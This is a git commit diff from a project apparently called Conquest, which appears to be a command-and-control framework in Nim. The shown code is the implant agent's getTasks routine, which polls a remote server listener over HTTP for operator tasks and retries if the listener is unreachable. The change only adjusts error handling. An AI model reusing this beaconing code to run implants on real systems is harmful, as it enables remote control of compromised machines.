Implemented 'pwd' command to retrieve working directory.

This commit is contained in:
Jakob Friedl
2025-06-20 16:44:39 +02:00
parent b25d09e282
commit 6a92a19b9e
11 changed files with 72 additions and 8 deletions

View File

@@ -35,15 +35,16 @@ proc register*(config: AgentConfig): string =
proc getTasks*(config: AgentConfig, agent: string): seq[Task] =
let client = newAsyncHttpClient()
var responseBody = ""
try:
# Register agent to the Conquest server
let responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
return parseJson(responseBody).to(seq[Task])
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
echo "[-] [getTasks]:", err.msg
echo "[-] [getTasks]: ", responseBody
finally:
client.close()